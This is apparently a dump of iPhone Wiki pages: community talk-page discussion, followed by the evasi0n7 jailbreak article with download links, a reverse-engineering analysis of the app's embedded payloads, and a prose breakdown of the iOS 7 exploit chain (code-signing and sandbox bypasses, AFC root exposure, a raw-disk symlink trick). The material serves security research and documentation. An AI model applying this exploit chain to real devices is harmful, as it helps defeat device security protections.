::::::::::This seems fine to me… Well, aside from the underscores. Other than that, we're actually already doing the same thing until the changes are implemented. (Key pages say "(iPhone 4 GSM)" while other parts of the wiki say "iPhone 4 (GSM model).") --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 18:05, 2 January 2014 (UTC)
::::::::I think that "iPhone 4 (iPhone3,1)" does look the nicest, and I don't really feel like it's redundant. I also like the idea of just saying 'iPhone3,1'. If either of those options doesn't work, it might be good to do something like "iPhone 4; iPhone3,1" or "iPhone 4 | iPhone3,1".--[[User:CompilingEntropy|CompilingEntropy]] ([[User talk:CompilingEntropy|talk]]) 16:46, 2 January 2014 (UTC)
:::::::::The underscores were stated due to the key page URL's use that. I did not mean use that throughout. Was just to give an example, [[User:Dialexio|Dialexio]]. {{unsigned|iAdam1n|13:16, January 2, 2014‎ (UTC)}}
::::::::::So we have to decide between
::::::::::#"Telluride 9A334 (iPhone 4 iPhone3,1)" (name on link could be "Telluride 9A334 (iPhone 4 [iPhone3,1])" or whatever fits best in the context)
::::::::::#"Telluride 9A334 (iPhone3,1)"
::::::::::I would prefer #2 (for advantages/disadvantages see list above), but could also live with the other one. Votes? --[[User:Http|http]] ([[User talk:Http|talk]]) 22:06, 2 January 2014 (UTC)
:::::::::::I would prefer #1 because it would be more consistent. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 22:14, 2 January 2014 (UTC)
:::::::::::Count my vote for #2. I could go either way, but option #2 looks nicer. But just to double-check (yet again), we ''are'' using "iPhone 4 (iPhone3,1)" in places like [[Firmware]]'s headings, right? --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 18:19, 7 January 2014 (UTC)
::::::::::::Headings/titles/links: we didn't decide on that, but I think we can put whatever fits best in the context of a page. So that's a 'yes'. --[[User:Http|http]] ([[User talk:Http|talk]]) 23:53, 9 January 2014 (UTC)

== Key page template ==
I actually like the idea of a database to an extent. I bet I could put together an extension that creates a [[Special:SpecialPages|special page]] that allows read access to everyone (and r/w access to users). Any edits to the key "pages" wouldn't cause a [[Special:RecentChanges|recent changes]] log. If we ever needed to update the layout, we would just need to update the extension. We could even have an API.
The only limitation is that updates to the extension would require either [[User:geohot|George]] or [[User:Dialexio|Alex]] needing to upload the fix. If we were to set up an external site, then all links to it would need to be wrapped with <code>...</code>.
Maybe a simple extension that takes links and redirects you to the external site? That could work. Like, we would have a link to, say, <code>[[<nowiki/>Special:Keys/iPad1,1/9A405]]</code> which would give an HTTP <code>301 Moved Permanently</code> header to, say, <code><nowiki>http://ioskeys.com/iPad1,1/9A405</nowiki></code>. Granted, someone would have to pay for the domain, but it would solve this problem. I may be able to pay for the domain if I make enough money by the time I finish writing everything. Any opposition? --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 16:48, 21 November 2013 (UTC)
:I do not like the idea. I like the idea of the database to a degree, but I think that the pages should remain on this wiki. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 17:03, 21 November 2013 (UTC)
::I don't see this solving any problem— the backlash against changing the key page template was because of (unnecessary?) changes to the arguments, and the frequency of how often such changes were being proposed/applied. How would a database prevent it? For instance, let's say the database columns are all decided on. Suddenly, it's decided that SHA-1 hashes should be added as well, or perhaps "VFDecryptKey" will be renamed to "FSKey." People submitting keys would still be bothered with having to adjust for those changes. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:40, 21 November 2013 (UTC)
:::That with the database is something I'll implement anyway (if not someone else is faster, as I'm quite busy). I just threw that in here as it might solve the problem of the frequent template updates (which is/was wrong anyway). From there it would be easy to create the VFDecrypt page with an overview link or lists of missing keys and that stuff, so the wiki would not need any direct links. But it would mean that we either completely remove all keys here from the wiki and embrace that solution or have them still duplicate (which then doesn't solve the problem). Dialexio: renaming columns can be handled without interface changes, but that's another topic. So let's forget about this database thing for now and we can discuss again when I have something. We certainly don't want to add extensions for that. So back to the discussion about the renaming: If I understood this correctly, you only want to rename A5+ devices and therefore no key pages would be affected. Is my understanding correct? --[[User:Http|http]] ([[User talk:Http|talk]]) 22:08, 21 November 2013 (UTC)
::::As long as the pages stay on this wiki, I do not mind. Although, a database could be pointless as with only 50 more pages to edit for the new format, there is no planned new format/changes again. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 22:16, 21 November 2013 (UTC)
::::About the renaming, that is correct; I'm only interested in changing the cellular labels on A5/+ devices. (Well, the iPad 2 can remain as-is.) --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 00:02, 22 November 2013 (UTC)
:::::Oh, well that would just make things more complicated/inconsistent. We should do all or none. About the template idea, there is also no need as it is not likely we will change the format again. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:35, 22 November 2013 (UTC)
::::::Do we really need to CHANGE THE FORMAT 50 TIMES IN A ROW? The old one before everything was messed with worked fine enough. [[User:Winocm|Winocm]] ([[User talk:Winocm|talk]]) 18:22, 27 November 2013 (UTC)
:::::::It was actually one change, which was completed. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:32, 27 November 2013 (UTC)

==Login prompt revision suggestion==
I wrote a suggestion here: [[MediaWiki talk:Loginprompt]] (since I don't have permission to edit [[MediaWiki:Loginprompt]] directly) - I'd be interested in whether it sounds like a good idea to other people. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 01:00, 8 October 2013 (UTC)

==Homepage suggestions==
Under "Application Development", what about linking to [http://iphonedevwiki.net/index.php/Main_Page iPhoneDevWiki]? It's also a community-edited technical resource, and it links to this wiki. It could be helpful to add a little more detail to "Get [[up to speed]] in the community.", like this: "Get [[up to speed]] in the community - learn about how jailbreaks work." Under "Definitions", it could be helpful to list all the firmware tags in one line or sub-list, similar to how Jailbreak is organized next to Tethered jailbreak and Untethered jailbreak, both to save space and help readers understand the list. --[[User:Britta|Britta]] ([[User talk:Britta|talk]]) 23:01, 20 October 2013 (UTC)
:A link to the iPhoneDevWiki sounds good. I wonder if we should have an "External Links" or "Other Resources" section to include links to other sites (such as the [http://blog.iphone-dev.org/ iPhone Dev Team blog]) though. As for the "Up to Speed" page, I feel like the entire page could be reworked a bit— and perhaps even receive a new, clearer name ([[Introduction]]? [[Preface]]? Or something else?)— the current name makes it sound like it's for people that last paid attention to jailbreaking when the App Store didn't exist. And yeah, moving the IMG3 tags to a sub-list sounds like a really good idea. (Admittedly, I actually don't care for its inclusion in the first place, but that's just a personal preference.) --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 00:10, 21 October 2013 (UTC)
::There's already [[Useful Links]] with some links to other core community resources (which could be updated and rearranged) - I was just thinking that it'd be especially useful to link to iPhoneDevWiki prominently since it's likely for TheiPhoneWiki visitors to also be interested in relatively-organized technical information about development. Changing the name of "Up to Speed" sounds fine to me too - that page didn't get much attention since 2008 until I sort of commandeered it to serve as an "intro to jailbreaking" page. :) It could be renamed "getting started", as in "how to get started on learning about research into iOS devices, especially security research (such as jailbreaks)". [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 00:31, 21 October 2013 (UTC)
Also I'd love to see a dedicated section for "Good tasks for new editors", where we could maintain a list of relatively easy/straightforward suggested edits that wouldn't require vast technical knowledge, like updating that links page. Where would that go? Add it as a sub-section of [[The iPhone Wiki:Current events]] and link that section from the homepage or something? Or make a new page? [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 00:40, 21 October 2013 (UTC)

==What is 0x5265c384 in the boot process?==
Does anybody know where <code>0x5265c384</code> points to in the boot process? I haven't been able to find anything on it. --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]]) 20:14, 23 October 2013 (UTC)

==License for contributions==
This wiki has never had an official license for contributions. Now, IANAL, but IIRC, this means that you can't use ''anything'' posted here unless it qualifies as fair-use. What I propose is that we set a license and add a notice that states that any contributions after a set date are to be licensed under that license (that's kindof a mouthful). I think we should use the [http://creativecommons.org/licenses/by-sa/3.0/ CC-by-SA 3.0] as [[wikipedia:Wikipedia:Text of Creative Commons Attribution-ShareAlike 3.0 Unported License|Wikipedia uses it]], but that's just me. Any ideas? --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 19:53, 9 November 2013 (UTC)
:Well, the edit info already says all this:
Please note that all contributions to The iPhone Wiki may be edited, altered, or
removed by other contributors. If you do not want your writing to be edited mercilessly,
then do not submit it here.
You are also promising us that you wrote this yourself, or copied it from a public
domain or similar free resource (see The [[:The iPhone Wiki:Copyrights|iPhone Wiki:Copyrights]] for details). '''Do not'''
'''submit copyrighted work without permission!'''
For me, that's enough. I don't need a 50 page license. But if you want to formalize this more, go ahead. --[[User:Http|http]] ([[User talk:Http|talk]]) 20:35, 9 November 2013 (UTC)
:Sounds good. It's good practice to have an official license, just in case any disputes happen someday, and to ensure that it's OK to copy text over to Wikipedia (for example). [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 21:32, 9 November 2013 (UTC)

==Future plans==
Now that I have SSH access, I've begun working on making several, somewhat-overdue changes to the wiki. The Renameuser extension was reinstated, so admins can now rename accounts. If you have another account, that can also get merged into your current account. If you happen to get locked out from both your account and the email used is no longer active, I can run a script to reset your password. I've also begun implementing a very noticeable change— as users of the Vector skin have noticed, the iOS 6-based theming is gone. It's a semi-temporary move though; it's going into its own skin, because… you know, choice is cool. People who like the Vector skin may not have liked the iOS theming, especially since IE 9 and lower didn't display it completely accurately. Therefore, it's going into its own theme. Once that's done I also plan on making a separate iOS 7-based skin. If there are any further thoughts or suggestions on how to improve the wiki, do let me know! --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 22:18, 9 November 2013 (UTC)

==Banner Replacement?==
I kinda feel like the banner on the front page is getting a little stale, so I'm interested in seeing it replaced. I tossed a proposal [https://twitter.com/Draxelf/status/408295008794845184 on Twitter] a couple of days ago (which is admittedly plain, but Myriad Set…), but I haven't heard any opinions on replacing the banner. Are there any thoughts on this matter? --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:42, 6 December 2013 (UTC)
:Or, [http://imgur.com/wJFqPl1 this]. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:22, 6 December 2013 (UTC)
:Looks nice in Myriad! More professional. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 04:01, 7 December 2013 (UTC)

==Date Format==
I see that [[User:IAdam1n|iAdam1n]] started to unify the date formats in this wiki. While I like this to be consistent, actually we should've talked about what format to use before changing it. I like the d_mon_yyyy format though. I also saw that he removed the <code>&nbsp;</code> between the date parts on the [[iFaith]] page that I added once purposefully. The reason was that when making the browser window small (or on the iPhone) that the date wraps to two lines, which is almost always undesired. The question is if we should do that everywhere too? Additionally, as we now seem to have a "standard" here, we should document it, so that new users know what format to use. -- [[User:Http|http]] ([[User talk:Http|talk]]) 17:42, 30 December 2013 (UTC)
:I just made it consistent. If you want the <code>&nbsp;</code> back, feel free to add it. I removed it as it did nothing (previewing on OS X). We should use the format I used throughout the wiki and not Dec 23, 2013 etc. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:32, 30 December 2013 (UTC)
::<code>&nbsp;</code> stands for "'''n'''on-'''b'''reaking '''sp'''ace". It is essentially a space, but with a property that prevents word wrap from occurring between the two words it's between. Look at [[Firmware Keys]] on a small enough screen (1024 across should do it). Your browser should preserve the space between the date "words". Now, go into the edit page and remove the <code>&nbsp;</code> from everything in one table. Your browser will now word wrap the date "words". --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 00:04, 5 January 2014 (UTC)
:What I actually want to do is use <code>{{[[Template:Start date|start date]]}}</code> instead of plain dates in areas where dates are used as a statistic; for example, [[Firmware]], [[Firmware Keys]], [[SHSH]], [[Timeline]], etc. Places where dates are used to record when something happened, for example on [[evasi0n7]], "On 28 December 2013...", should use the date flat out in the source. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 00:04, 5 January 2014 (UTC)

== Template documentation ==
Whenever using templates that are copied here from Wikipedia, I almost always forget the parameters of the template. I then have to open Wikipedia and search for the template. What I want to do it copy the template documentation from Wikipedia here. To work around the licensing issue, we can create our own template that you would include at the bottom of the copied documentation that says the documentation comes from Wikipedia (because Wikipedia uses [[wikipedia:Wikipedia:Text of Creative Commons Attribution-ShareAlike 3.0 Unported License|CC-BY-SA 3.0]] which says our copied text must be under CC-BY-SA 3.0 ''and'' attribute Wikipedia and her editors. I can write the text for license template. Any ideas? Any opposition? If not, I'll begin in a few days. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 00:04, 5 January 2014 (UTC)

Evasi0n7

2014-01-09T16:00:15Z

Http: recreate

{{lowercase}}
[[File:Evasi0n.png|165px|thumb|right|evasi0n's icon]]
{{other|untethered jailbreak for iOS 7.0 through 7.0.4|untethered jailbreak for iOS 6.0 through 6.1.2|evasi0n}}
'''evasi0n7''' is a [[jailbreak]] program from the [[evad3rs]]. It performs an [[untethered jailbreak]] for all devices on iOS 7.0 through 7.1 beta 2, except the [[Apple TV]]. It was initially released on 22 December 2013, and became subject to controversy and criticism. On 28 December 2013, the Cydia package went live to saurik's repo.

== Controversy ==
The release of evasi0n7 was met with sharp criticism. It came without advance notice, much to the dismay of jailbreak developers, including [[saurik]].<ref>https://twitter.com/saurik/status/414743665362231296</ref> It is believed that this was done in response to [[User:Geohot|Geohot]] trying to sell the jailbreak,<ref>https://twitter.com/superMTW/status/414821856534081536</ref> a claim which [[User:Geohot|Geohot]] later brushed off.<ref>https://twitter.com/tomcr00se/status/414826291309731840</ref> In addition, if the user's language was set to Chinese, a different app store would be installed by default. This store contained cracked versions of [[App Store]] apps and [[Cydia]] apps.<ref>https://twitter.com/saurik/status/414810297937838080</ref><ref>https://twitter.com/chpwn/status/414879769872703488</ref> The [[evad3rs]] were reportedly unaware of the included piracy when they formed the deal,<ref>[http://evasi0n.com/l.html Letter to the Community - evad3rs]</ref> and remotely disabled its installation several hours later.<ref>https://twitter.com/pod2g/status/414942393830756352</ref>

== Supported Devices ==
The only unsupported devices is the [[Apple TV]] family. All other devices capable of running [[iOS]] 7 are supported.

== Download ==
{| class="wikitable"
! Version
! OS
! SHA-1 Hash
! colspan="2" | Download
! Changes
|-
! rowspan="2" | 1.0.0
| [[wikipedia:OS X|Mac OS X]]
| <code>6b22e1d94988a76244d08a5592576f61a0cb5ffb</code>
| [https://evad3rs.app.box.com/s/q4xydmi2qzgqdhqr35i0 Box]
| rowspan="2" {{n/a}}
| rowspan="2" |
* Initial release.
|-
| [[wikipedia:Microsoft Windows|Windows]]
| <code>8a4e1fcd7b1fc0084366c182cbcf850dfc45d59f</code>
| class="rborderplz" | [https://evad3rs.app.box.com/s/hzapsnk73mbrs770z50y Box]
|-
! rowspan="2" | 1.0.1
| [[wikipedia:OS X|Mac OS X]]
| <code>12b98c49046157b6206d1c099fe872d6c5e79fb1</code>
| [https://evad3rs.box.com/s/gux5ojfn1sbztkkf9u9g Box]
| [https://mega.co.nz/#!Q4d2GByI!D1lW_kLGtmH0sMgb7vdxFQMtQfEfeBPhykyJzcug3D4 Mega]
| rowspan="2" |
* Removes the Chinese app store.
|-
| [[wikipedia:Microsoft Windows|Windows]]
| <code>52367f1fb3b71b38ad9ba3ac427a771a498790ad</code>
| class="nobrradiusplz rborderplz" | [https://evad3rs.box.com/s/u9ucoter5usl2at7ax29 Box]
| class="nobrradiusplz rborderplz" | [https://mega.co.nz/#!U09F0LaL!NP9vXy72p652fFWBcR_4LiqX-t1HnG4qdHDcHUH2rGY Mega]
|-
! rowspan="2" | 1.0.2 (beta)
| [[wikipedia:OS X|Mac OS X]]
| <code>da8d03d9e678f5866af0babe1882fa27cd236bad</code>
| [https://evad3rs.box.com/s/d3rjztbj6ism1067j3iz Box]
| rowspan="2" {{n/a}}
| rowspan="2" |
* Fix for iPad 2 Wi-Fi boot loop issues.
|-
| [[wikipedia:Microsoft Windows|Windows]]
| <code>d61c8cbb565efa7d651e3c6cdc8429e2446396d1</code>
| class="nobrradiusplz rborderplz" | [https://evad3rs.box.com/s/tlr9ruitbfdqt3nxv3li Box]
|}

== Research ==

=== Mach-O (OS X binary) ===

evasi0n7 is a single architecture (i386) unsigned binary. The app is self-contained, meaning it packages all of its resources into the Mach-O. Using [http://www.newosxbook.com/files/jtool.tar jtool] to inspect the Mach-O header of the binary shows that there is some added sections in the <code>__DATA</code> segment.

<code>
bash$ jtool -l ./evasi0n\ 7.app/Contents/MacOS/evasi0n7
...
LC 02: LC_SEGMENT Mem: 0x00170000-0x01d09000 __DATA
Mem: 0x00170000-0x00170008 __DATA.__dyld
Mem: 0x00170008-0x00170060 __DATA.__nl_symbol_ptr (Non-Lazy Symbol Ptrs)
Mem: 0x00170060-0x001703d4 __DATA.__la_symbol_ptr (Lazy Symbol Ptrs)
Mem: 0x001703d4-0x001703d8 __DATA.__mod_init_func (Module Init Function Ptrs)
Mem: 0x001703d8-0x001705d0 __DATA.__const
Mem: 0x001705d0-0x00171c14 __DATA.__data
Mem: 0x00171c14-0x00171c64 __DATA.__cfstring
 Mem: 0x00171c64-0x001a942d __DATA.data_3
Mem: 0x001a942d-0x0087b92c __DATA.data_4
Mem: 0x0087b92c-0x0087be18 __DATA.data_5
Mem: 0x0087be18-0x0087c2f8 __DATA.data_6
Mem: 0x0087c2f8-0x008fb944 __DATA.data_7
Mem: 0x008fb944-0x008fba7f __DATA.data_8
Mem: 0x008fba7f-0x008fbeac __DATA.data_9
Mem: 0x008fbeac-0x0160f3a1 __DATA.data_10
Mem: 0x0160f3a1-0x016101ac __DATA.data_11
Mem: 0x016101ac-0x01d083dd __DATA.data_12 
Mem: 0x01d08400-0x01d084cc __DATA.__common (Zero Fill)
Mem: 0x01d084cc-0x01d0866c __DATA.__bss (Zero Fill)

...
</code>

The Mach-O ABI<ref>https://developer.apple.com/library/mac/documentation/DeveloperTools/Conceptual/MachORuntime/Reference/reference.html#//apple_ref/doc/uid/TP40000895-CH248-95693</ref> describes the __DATA segment as:
<blockquote>The __DATA segment contains writable data. The static linker sets the virtual memory permissions of this segment to allow both reading and writing. Because it is writable, the __DATA segment of a framework or other shared library is logically copied for each process linking with the library. When memory pages such as those making up the __DATA segment are readable and writable, the kernel marks them copy-on-write; therefore when a process writes to one of these pages, that process receives its own private copy of the page.</blockquote>
This means additional sections can be added using compiler flags, and these will be treated as raw data and added to the header and binary contents. Specifically they were called '''data_3''' through '''data_12''', and this is where the payloads used for jailbreak process are stored. At runtime, the evasi0n app was loading these data segments into memory to prepare to use them when jailbreaking.

=== Payload Extraction ===
The locations of the payloads have been identified, and they can be extracted and examined. To extract the payloads from the binary and dump the data into a file that can be examined:

<code>
bash$ jtool -e __DATA.data_3 ./evasi0n\ 7.app/Contents/MacOS/evasi0n7
Requested section found at Offset 1510500
Extracting __DATA.data_3 at 1510500, 227273 (377c9) bytes into evasi0n7.__DATA.data_3
</code>

=== Payload Format ===

Before examining the dumped payload files, some information can be gathered from other parts of the Mach-O binary. By dumping the symbol table from the binary, it is possible to see the names of functions used in the binary that are linked to in external libraries. Something that stands out in the evasi0n binary is the usage of the gzip library.

<code>
bash $ dsymutil -s ./evasi0n\ 7.app/Contents/MacOS/evasi0n7
----------------------------------------------------------------------
Symbol table for: './evasi0n 7.app/Contents/MacOS/evasi0n7' (i386)
----------------------------------------------------------------------
Index n_strx n_type n_sect n_desc n_value
======== -------- ------------------ ------ ------ ----------------
...
[ 164] 00000ab1 01 ( UNDF EXT) 00 0a00 0000000000000000 '_getcwd'
[ 165] 00000ab9 01 ( UNDF EXT) 00 0a00 0000000000000000 '_getsectdata'
"_getsectdata" Suggests it is used to get the data from a particular data section from the Mach-O header
[ 166] 00000ac6 01 ( UNDF EXT) 00 0100 0000000000000000 '_gzclose'
[ 167] 00000acf 01 ( UNDF EXT) 00 0100 0000000000000000 '_gzopen'
[ 168] 00000ad7 01 ( UNDF EXT) 00 0100 0000000000000000 '_gzread'
[ 169] 00000adf 01 ( UNDF EXT) 00 0100 0000000000000000 '_gzseek'
[ 170] 00000ae7 01 ( UNDF EXT) 00 0100 0000000000000000 '_inflate'
[ 171] 00000af0 01 ( UNDF EXT) 00 0100 0000000000000000 '_inflateEnd'
[ 172] 00000afc 01 ( UNDF EXT) 00 0100 0000000000000000 '_inflateInit2_'
...
</code>

From that, it can be deduced that the payloads that were extracted are compressed using gzip. This can be verified by running the command <code>file</code> on the extracted payloads.

<code>
bash $ file ./evasi0n7.__DATA.data_3 
evasi0n7.__DATA.data_3: gzip compressed data, from Unix, last modified: Sun Dec 22 05:54:11 2013
</code>

After decompressing the gzip file there is a new file, again test that with <code>file</code>.

<code>
bash $ mv ./evasi0n7.__DATA.data_3 ./evasi0n7.__DATA.data_3.gz
bash $ gunzip ./evasi0n7.__DATA.data_3.gz
bash $ file ./evasi0n7.__DATA.data_3
evasi0n7.__DATA.data_3: POSIX tar archive
</code>

Seems that the payloads were stored as simply <code>.tar.gz</code> files dumped directly into the Mach-O header of the binary.

=== Payload Contents ===

Now having an understanding of how the payloads were supposed to be used and packaged, their contents can be examined in detail to see what they are used for.

<code>
bash $ tar ztvf ./evasi0n7.__DATA.data_3 
drwxr-xr-x 0 planetbeing staff 0 Dec 22 00:20 ./
drwxr-xr-x 0 planetbeing staff 0 Dec 17 18:27 ./Applications/
drwxr-xr-x 0 planetbeing staff 0 Dec 21 07:25 ./etc/
drwxr-xr-x 0 planetbeing staff 0 Dec 18 18:34 ./private/
drwxr-xr-x 0 planetbeing staff 0 Dec 18 18:57 ./usr/
drwxr-xr-x 0 planetbeing staff 0 Dec 19 04:18 ./usr/bin/
drwxr-xr-x 0 planetbeing staff 0 Oct 31 23:14 ./usr/libexec/
drwxr-xr-x 0 planetbeing staff 0 Dec 18 19:11 ./usr/libexec/cydia/
-rwxr-xr-x 0 planetbeing staff 3363 Dec 18 23:59 ./usr/libexec/cydia/firmware.sh
-rwxr-xr-x 0 planetbeing staff 228 Dec 17 20:43 ./usr/libexec/cydia/free.sh
-rwxr-xr-x 0 planetbeing staff 132848 Dec 18 18:57 ./usr/bin/gssc
-rwxr-xr-x 0 planetbeing staff 200352 Dec 19 04:18 ./usr/bin/uicache
drwxr-xr-x 0 planetbeing staff 0 Dec 18 18:34 ./private/var/
drwxr-xr-x 0 planetbeing staff 0 Dec 18 18:34 ./private/var/lib/
drwxr-xr-x 0 planetbeing staff 0 Dec 18 18:34 ./private/var/lib/dpkg/
drwxr-xr-x 0 planetbeing staff 0 Dec 22 00:12 ./private/var/lib/dpkg/info/
-rw-r--r-- 0 planetbeing staff 393 Dec 18 18:40 ./private/var/lib/dpkg/info/com.evad3rs.evasi0n7.list
-rwxr-xr-x 0 planetbeing staff 678 Dec 18 18:52 ./private/var/lib/dpkg/info/com.evad3rs.evasi0n7.prerm
-rw-r--r-- 0 planetbeing staff 5137 Dec 22 00:12 ./private/var/lib/dpkg/info/cydia.list
drwxr-xr-x 0 planetbeing staff 0 Dec 21 23:31 ./Applications/Cydia.app/
-rwxr-xr-x 0 planetbeing staff 211 Dec 21 22:52 ./Applications/Cydia.app/Cydia
-rwsr-sr-x 0 planetbeing staff 131824 Dec 22 00:00 ./Applications/Cydia.app/CydiaWrapper
-rwsr-sr-x 0 planetbeing staff 382608 Dec 17 20:50 ./Applications/Cydia.app/MobileCydia
-rwxr-xr-x 0 planetbeing staff 66960 Dec 22 00:04 ./Applications/Cydia.app/udidfix.dylib
</code>

* __data3 contains Cydia.
* __data4 contains Cydia subsystems (/bin, /usr/bin) and their supported libraries (/usr/lib) 
* __data5 contains a Mach-O universal binary (ARMv7/ARMv7s,ARMv8) which is installed in the root file system 
* __data6 contains a dylib (likely game over.dyliib) which exports the same symbols as libmis.dylib (used by amfid for code signature verification), but overrides them to return true 
* __data7 contains another Mach-O binary (ARMv7/ARMv8), likely evasi0n7, which is installed in the root filesystem during the jailbreak 
* __data8 contains the plist (property list) file used by evasion to register as a launchDaemon 
* __data9 contains a dylib which overrides the sandbox dylib (similar to __data6, but to enable evasion to avoid the sandbox) 
* __data10 contained the TaiG app and subsystems (similar to Cydia) - removed in 1.01 due to negative backlash
* __data11 contains a binary plist of strings used by the evasion binary 
* __data12 contains the Cydia repo list

=== Network Access ===

Noteably, when attempting to run the evasi0n.app without an active or accessible network connection, it will display a prompt that says it requires a network connection to be used. This is very true, as it needs to download the WWDC app as part of the exploit. However the app doesn't exhibit any of the typical commands for network access via Cocoa or CF APIs. Examining the symbol table we do see that there are references to "send", "recv", and other C-socket calls, however they appear to be used exclusively for the unix socket to communicate directly with the iOS device.

Examining the list of libraries linked to the binary gives some insight to how it was checking for a network connection.

<code>
bash $ otool -L ./evasi0n\ 7.app/Contents/MacOS/evasi0n7 
./evasi0n 7.app/Contents/MacOS/evasi0n7:
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.5)
/usr/lib/libxml2.2.dylib (compatibility version 10.0.0, current version 10.9.0)
/usr/lib/libssl.0.9.8.dylib (compatibility version 0.9.8, current version 50.0.0)
/usr/lib/libcrypto.0.9.8.dylib (compatibility version 0.9.8, current version 50.0.0)
/usr/lib/libcurl.4.dylib (compatibility version 7.0.0, current version 8.0.0)
/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation (compatibility version 150.0.0, current version 855.11.0)
/usr/lib/libobjc.A.dylib (compatibility version 1.0.0, current version 228.0.0)
/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit (compatibility version 1.0.0, current version 275.0.0)
/System/Library/Frameworks/Cocoa.framework/Versions/A/Cocoa (compatibility version 1.0.0, current version 20.0.0)
/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1197.1.1)
/usr/lib/libstdc++.6.dylib (compatibility version 7.0.0, current version 60.0.0)
/usr/lib/libgcc_s.1.dylib (compatibility version 1.0.0, current version 2577.0.0)
/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit (compatibility version 45.0.0, current version 1265.0.0)
/System/Library/Frameworks/Foundation.framework/Versions/C/Foundation (compatibility version 300.0.0, current version 1056.0.0)
</code>

This stands out due to the compatibility version listed being higher than the version OS X 10.6.8, which was oldest version of OS X that evasi0n.app claimed to support. Checking the symbol table again evidence of how <code>libcurl</code> can be seen.

<code>
bash $ dsymutil -s ./evasi0n\ 7.app/Contents/MacOS/evasi0n7 
----------------------------------------------------------------------
Symbol table for: './evasi0n 7.app/Contents/MacOS/evasi0n7' (i386)
----------------------------------------------------------------------
Index n_strx n_type n_sect n_desc n_value
======== -------- ------------------ ------ ------ ----------------
...
[ 133] 00000938 01 ( UNDF EXT) 00 0500 0000000000000000 '_curl_easy_cleanup'
[ 134] 0000094b 01 ( UNDF EXT) 00 0500 0000000000000000 '_curl_easy_getinfo'
[ 135] 0000095e 01 ( UNDF EXT) 00 0500 0000000000000000 '_curl_easy_init'
[ 136] 0000096e 01 ( UNDF EXT) 00 0500 0000000000000000 '_curl_easy_perform'
[ 137] 00000981 01 ( UNDF EXT) 00 0500 0000000000000000 '_curl_easy_setopt'
[ 138] 00000993 01 ( UNDF EXT) 00 0500 0000000000000000 '_curl_easy_strerror'
[ 139] 000009a7 01 ( UNDF EXT) 00 0500 0000000000000000 '_curl_global_cleanup'
[ 140] 000009bc 01 ( UNDF EXT) 00 0500 0000000000000000 '_curl_global_init'
[ 141] 000009ce 01 ( UNDF EXT) 00 0500 0000000000000000 '_curl_slist_append'
[ 142] 000009e1 01 ( UNDF EXT) 00 0500 0000000000000000 '_curl_slist_free_all'
...
</code>

Digging into the code in the binary, it appears as these commands are used to do a check against the address <code>http://evasi0n.com/ex.plistx</code>. This appears to be a binary file that dictates the internal operation of the evasi0n7.app. Specifically it is known to be able to enable and disable ability to install the TaiG payloads.

=== Language Checks ===

The major controversy surrounding this release was that the evasi0n7.app would do a check against the locale and language settings of the computer being run on to see if it was set to Chinese. If this check was successful, it would install the TaiG app store by default instead of Cydia, and present Cydia as a secondary option. This was quickly discovered and patched to remove this functionally by both TaiG and [https://twitter.com/Dirk_Gently @Dirk_Gently].

{| class="wikitable"
! Version
! OS
! Offset
! Changes
! Result
|-
| 1.0.0 (evad3rs)
| [[wikipedia:OS X|Mac OS X]]
| 0xb0947
| Modify String "zh" to "xx"
| Check always fails
|-
| 1.0.0 (evad3rs)
| [[wikipedia:Microsoft Windows|Windows]]
| 0x2e5f8
| Replace "E8C30000008A00" with "9090909090B000"
| Check always fails
|-
| 1.0.0 (TaiG)
| [[wikipedia:Microsoft Windows|Windows]]
| 0x2e5f8
| Replace "9090909090B001" with "9090909090B000"
| Check always fails
|}

== Exploit Breakdowns ==

=== [http://pastebin.com/mT2n7uyj Write-up by Braden Thomas] ===

* WWDC.app is downloaded from app store and uploaded over AFC to ~/Media/Downloads

* An IPA containing WWDC.app is uploaded and installed using MobileInstall, but first, the Info.plist in the WWDC app in the IPA is changed so that CFBundleExecutable points to the untouched copy of the app in Downloads

* when MobileInstall installs the app, it signature checks the copy in Downloads, signature check passes and app is installed

* WWDC.app/WWDC is overwritten using AFC with a #! script to point to afcd the command line in #! will expose the entire / over afc port 8888

* a dylib (gameover) is uploaded which uses a CS bypass (vmsize 0) to neuter sandboxing in afcd using LINKEDIT section (afcd starts its sandbox at runtime using sandbox_init*)
* a LaunchServices bug is used to make that app load that library when it runs the device reboots and the user is instructed to run the app

* when the app runs, afcd runs exposing /, and the sandbox is neutered, allowing access everywhere however, iOS 7 kernel still prevents remapping / as writable so it's still just readonly

* at this point, /var/mobile/Library/Logs/AppleSupport is symlinked to /dev/rdisk0s1 the device is rebooted, and something early in boot (i believe ReportCrash) will chown that path to mobile which chowns rdisk

